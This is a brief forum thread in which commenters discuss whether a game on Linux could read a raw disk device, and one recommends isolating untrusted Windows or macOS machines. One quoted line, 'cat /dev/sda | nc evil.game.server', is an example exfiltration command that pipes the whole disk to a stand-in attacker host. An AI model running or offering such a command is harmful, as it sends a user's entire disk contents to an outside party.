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> If it were on linux with another user, the game could still do cat /dev/sda | nc evil.game.server unlike here. That's not true. Only root can read directly a
by turrini 5y ago
> If it were on linux with another user, the game could still do cat /dev/sda | nc evil.game.server unlike here.
That's not true. Only root can read directly a disk device, or an user that is on the 'disk' group:
brw-rw---- 1 root disk 8, 0 fev 1 07:50 /dev/sda
- l-albertovich 5y agoAnd of course a very easy to exploit bug that has been around for like 12 years hasn't gone public a few days ago because LPEs DO NOT EXIST IN LINUX. I mean, it's quite obvious, exploitable bugs do not exist in Linux because back in the day Ken, Dennis, Brian, Doug and Joe agreed that they were not part of the Unix philosophy so they left them for windows to implement. /s Aside from the stupid joke, what OP is saying is absolutely right, if you care about security keep your things properly isolated, keep a (whichever OS you trust but hopefully linux or a bsd) as main box and then a windows or macos computer isolated (best case scenario using a vlan capable switch, or a dedicated pi that acts as a firewall just for that box).